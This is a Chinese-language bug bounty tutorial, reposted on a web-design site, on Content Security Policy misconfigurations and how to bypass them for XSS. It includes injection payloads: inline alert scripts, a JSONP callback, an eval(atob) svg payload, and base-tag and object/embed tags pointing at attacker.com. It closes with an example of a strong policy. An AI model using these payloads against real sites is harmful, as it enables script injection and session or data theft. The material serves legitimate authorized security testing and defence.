桂林市网站建设_网站建设公司_UX设计_seo优化
2025/12/28 21:39:04 网站建设 项目流程

漏洞猎人指南:CSP绕过(第一部分)

为什么那个“安全”的报头可能漏洞百出,以及如何发现它们以找到关键的XSS漏洞。

你已经找到了完美的XSS向量。你精心构造了载荷,按下回车,然后……什么都没发生。只有一条刺眼的红色错误信息在控制台中闪烁:

“拒绝执行内联脚本,因为它违反了以下内容安全策略……”

游戏结束了?远非如此。

对于一个漏洞猎人来说,有趣的地方才刚刚开始。那条错误信息不是一堵墙——它几乎就是一封邀请函。内容安全策略(CSP)只是浏览器遵循的一套规则。而规则?它们总有漏洞。

通常情况是这样的:开发人员应用一个基础的CSP,在安全审计清单上打勾,然后高枕无忧,以为他们已经永久消灭了XSS。与此同时,我在实际环境中看到的大多数CSP,其安全程度堪比潜艇上的纱门。

这是关于CSP绕过的系列文章的第一部分。我们将从基础开始——那些在漏洞赏金计划中你会遇到的70-80%的CSP上都有效的常见错误配置和基本技术。这些都是唾手可得的成果,但赏金却很高,因为太多开发人员在这些地方栽了跟头。

读完本指南,你将确切地知道如何发现薄弱的CSP配置,并将其转化为有效的攻击。

安全假象:为什么大多数CSP会失效

把CSP想象成夜总会的保镖。他们的工作是检查身份证——确保只有经过批准的脚本、图片和样式表能够进入。理论上听起来很棒。问题是?大多数网站给他们的保镖提供的是一份世界上最糟糕的宾客名单。

以下是一些错误配置,它们基本上等同于告诉保镖对所有人都放行。

‘unsafe-inline’ 灾难

这是CSP错误中的核弹级选项。如果你在script-src指令中看到了‘unsafe-inline’,那你就可以收工了——你已经赢了。它直接允许内联的 <script> 代码块和像 onclick 这样的事件处理器。基本上,它关掉了CSP最主要的功能。

薄弱策略:

Content-Security-Policy: script-src ‘self’ ‘unsafe-inline’;

绕过方法:

<script>alert(‘CSP Bypass’)</script>

是的,就这么简单。

现实影响:
我在从小型SaaS应用到大型电商平台的各种应用上都发现过这种错误配置。这通常发生在开发人员需要快速让内联脚本工作,并选择了最简单的方法时。我针对这个确切问题提交的一份报告获得了2,500美元的赏金——而这本质上只是一个30秒的检查。

过度信任的通配符 (*)

信任整个域名的策略随处可见。你会看到类似script-src: *.google.com*.cloudflare.com这样的东西。他们的想法是:“这是谷歌,对吧?能出什么问题呢?”
事实证明,问题很多。这为来自谷歌任何子域的脚本敞开了大门,从而产生以下攻击途径:

  • JSONP端点: 大量白名单域名上的API都有JSONP回调,你可以滥用这些回调来执行任意JavaScript。
  • 旧的AngularJS库: 找到一个托管了有漏洞的AngularJS版本的白名单域名,你就有了一个沙箱逃逸的方法。
  • 文件上传: 如果这个受信任域名的任何角落允许上传.js文件,那你就成功了。

快速制胜示例:
策略: script-src ‘self’ *.google.com
绕过: <script src=“https://accounts.google.com/o/oauth2/revoke?callback=alert(1)”></script>
这之所以有效,是因为谷歌的OAuth端点有一个JSONP回调参数会反射你的输入。我们将在第二部分深入探讨JSONP利用。

browser console showing CSP error with a weak policy visible. Highlight the ‘unsafe-inline’ or wildcard domain in the CSP header.

别忘了 ‘unsafe-eval’

这个更隐蔽。‘unsafe-eval’允许诸如eval()setTimeout()setInterval()等函数运行字符串参数。很多旧库需要这个才能工作,所以开发人员为了兼容性而包含它。这样一来,你又多了一个入口。

示例:
策略: script-src ‘self’ ‘unsafe-eval’
绕过: <svg><animate onbegin=eval(atob(‘YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==‘))>
Base64字符串解码为alert(document.domain)。如果你能注入HTML并且策略包含unsafe-eval,你就可以执行代码。

我的CSP审计方法论

当我遇到CSP时,我不会放弃——我会变得系统化。以下是我每次都会做的步骤。

第一步:实际阅读策略

听起来显而易见,但大多数人会跳过这一步。当你看到CSP错误时,打开浏览器的开发者工具。进入网络(Network)标签页,点击文档请求,找到Content-Security-Policy响应头。将整个内容复制到文本编辑器中。

现在查看每个指令。script-srcobject-srcbase-uri允许了什么?这些是你的主要攻击向量。

专业建议: 使用诸如谷歌的 CSP Evaluator 这样的工具来快速识别明显问题。但不要就此止步——手动分析才能发现有趣的绕过方法。

Screenshot of Google’s CSP Evaluator tool showing a weak policy

第二步:搜寻白名单金矿

你的主要关注点应该是script-src指令。那里列出的每个域名都是一个潜在的金矿。你的工作不是直接击败CSP,而是让其中一个受信任的域名为你提供恶意的JavaScript。

假设你发现script-src: ‘self’ cdn.trusted-company.com。你下一步该做什么?将你的攻击转移到cdn.trusted-company.com上。寻找:

  • 你可以串联利用的开放重定向
  • 能反射用户输入的JSONP端点
  • 托管的有漏洞的、过时的JavaScript库
  • 任何将你的输入反射给你的地方

我的搜寻流程:

  1. 列出所有白名单域名
  2. 检查每个域名是否有JSONP端点(使用常见路径如 /api/, /jsonp, /callback
  3. 寻找文件上传功能
  4. 搜索开放重定向
  5. 检查旧的库版本(AngularJS < 1.6, jQuery < 3.0)

CSP bypass methodology

第三步:测试文件上传端点

这是经典的,而且非常有效。如果应用程序允许你上传文件,并且这些文件是从一个白名单域名(如S3存储桶或CDN)提供服务的,CSP就会信任它。

流程:

  1. 找到一个文件上传功能
  2. 上传一个包含你载荷的.js文件
  3. 记下它被托管到的URL
  4. 检查该域名是否在script-src中被白名单
  5. 注入:<script src=“https://whitelisted-domain.com/uploads/your-file.js”></script>

真实示例:
我曾发现一个应用的策略是script-src: ‘self’ cdn.example.com。这个CDN实际上是他们用于存储用户头像的S3存储桶。我上传了一个伪装成图片的JavaScript文件,获取了直接的S3 URL,并将其作为脚本加载。成功——获得了3,000美元赏金。

A file upload interface with a malicious .js file being uploaded

第四步:base-uri 盲点

这是我的个人最爱之一,因为它经常被忽视。如果CSP缺少base-uri指令,你可以注入一个<base>标签来重新定义页面上所有相对路径的基础URL。

如果页面这样加载一个脚本:

<script src=“/js/app.js”></script>

你可以注入:

<base href=“https://attacker.com/“>

现在浏览器会尝试加载https://attacker.com/js/app.js,完全绕过了script-src

如何测试:

  1. 检查CSP中是否存在base-uri
  2. 如果缺失,找到一个HTML注入点
  3. 注入:<base href=“https://your-server.com/“>
  4. 页面将从你的域名加载相对资源

Before vs after tag injection

第五步:缺失的 object-src 指令

如果没有定义object-src,你可以嵌入加载外部内容的对象(object)。随着Flash的消亡,现在这种情况不那么常见了,但在某些上下文中仍然有效。

绕过示例:

<object data=“https://attacker.com/malicious.swf”></object>

或针对基于PDF的XSS:

<embed src=“https://attacker.com/xss.pdf”>

Get Abhishek meena’s stories in your inbox
Join Medium for free to get updates from this writer.
Subscribe
Subscribe

需要测试的常见JSONP端点

当你找到一个白名单域名时,以下是我首先检查的JSONP回调端点:

谷歌域名:

  • https://accounts.google.com/o/oauth2/revoke?callback=alert
  • https://www.google.com/complete/search?client=chrome&q=a&jsonp=alert

其他常见CDN:

  • https://cdnjs.cloudflare.com/ajax/libs/[library]/[version]/[file].js
  • https://ajax.googleapis.com/ajax/libs/angularjs/[version]/angular.js

测试过程:

  1. 将回调参数替换为你的载荷
  2. 测试变体:callback=jsonp=cb=function=
  3. 检查你的函数是否被执行

我们将在第二部分更详细地介绍JSONP利用,包括如何发现隐藏的JSONP端点以及如何将它们与其他漏洞串联起来。

successful JSONP bypass

从千疮百孔到固若金汤:一个好的CSP应该是什么样子

在谈论了这么多破坏方法之后,让我们来谈谈如何正确地构建。一个好的CSP默认锁定一切,只开放绝对必要的内容。

薄弱CSP(易于绕过):

Content-Security-Policy: script-src ‘self’ *.google.com ‘unsafe-inline’;

强大CSP(难以绕过):

Content-Security-Policy: default-src ‘none’; script-src ‘self’ ‘nonce-rAnd0m123’ ‘strict-dynamic’; object-src ‘none’; base-uri ‘self’; require-trusted-types-for ‘script’;

为什么第二个好得多?

  • default-src ‘none’ 默认拒绝所有内容
  • 使用随机数(nonce)处理特定的内联脚本,消除了‘unsafe-inline’
  • ‘strict-dynamic’ 允许受信任的脚本加载其他脚本,无需白名单域名
  • object-src ‘none’ 阻止对象/嵌入攻击
  • base-uri ‘self’ 防止基础标签劫持
  • require-trusted-types-for ‘script’ 启用可信类型(我们将在第三部分介绍)

注意: 即使是“强大”的CSP也可能通过高级技术被绕过,比如随机数泄漏、DOM Clobbering和突变XSS——但这些是第二和第三部分的主题。

“Weak CSP vs Strong CSP”

你的CSP测试清单

在离开一个目标之前,快速浏览一下这个清单:

真实世界绕过示例

让我分享一些来自实际漏洞赏金计划的快速战果:

示例1:电商平台

  • 策略:script-src ‘self’ ‘unsafe-inline’ *.cloudflare.com
  • 绕过:简单的内联脚本
  • 赏金:$2,500

示例2:SaaS应用

  • 策略:script-src ‘self’ cdn.example.com
  • 绕过:通过个人资料图片上传将.js文件上传到CDN
  • 赏金:$3,000

示例3:金融服务

  • 策略:script-src ‘self’ *.google.com (没有base-uri)
  • 绕过:基础标签注入,重定向所有脚本
  • 赏金:$5,000

示例4:社交媒体平台

  • 策略:script-src ‘self’ ajax.googleapis.com
  • 绕过:加载AngularJS 1.5.8并结合沙箱逃逸载荷
  • 赏金:$4,500

这些都是基础知识,但它们仍然有效——而且仍然有赏金。

是拼图,不是监狱

CSP报头并不意味着“没有XSS”。它意味着“多了几步的XSS”。

下次你测试一个应用程序,控制台抛出CSP错误时,不要关闭标签页。保持好奇心。逐行阅读策略。检查我们在这里提到的错误配置。在大多数情况下,你会找到突破口。

这只是开始。在第一部分中,我们已经介绍了基础知识——那些构成了你在实际环境中发现的绝大多数绕过的常见错误。

即将在第二部分登场:
我们将深入探讨适用于更严格策略的中级技术:

  • 高级的随机数利用和泄漏策略
  • 深入探讨AngularJS沙箱逃逸
  • JSONP端点发现与利用
  • 悬空标记注入用于数据窃取
  • 服务工作线程滥用
  • 来自$10k+漏洞赏金报告的真实绕过链

以及在第三部分:
我们将进入研究级技术:

  • DOM Clobbering 以绕过CSP检查
  • 通过清理器绕过实现突变XSS(mXSS)
  • 导致CSP绕用的原型污染
  • 无脚本攻击和代码复用技术
  • 浏览器特定的怪癖和边界情况

在那之前,祝狩猎愉快。那条CSP错误信息只是有趣故事的开端。

想要保持更新?
我在X上分享每日漏洞赏金技巧和实时绕过技术:@aacle_

构建更大的东西:
我们正在创建 Vulncure 以帮助企业进行真正有效的渗透测试,而不仅仅是打勾。来看看我们:Vulncure

关注第二部分和第三部分:
我将在这里(Medium)发布本系列的后续部分。关注我以免错过:[Medium Profile]

你找到了一个有创意的CSP绕过方法吗? 在评论区分享吧——我很想听听你的故事和技术!
CSD0tFqvECLokhw9aBeRqopJDR93OU7WxHE+knUD6TPUXuSTN0on1Hs3EglJYs++DbECEXsQS9lRjcMeWGZ6efkr5inm/ulQTx6GXwMzVBl8iWnw4pCeE/uJGGyxzeQY
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询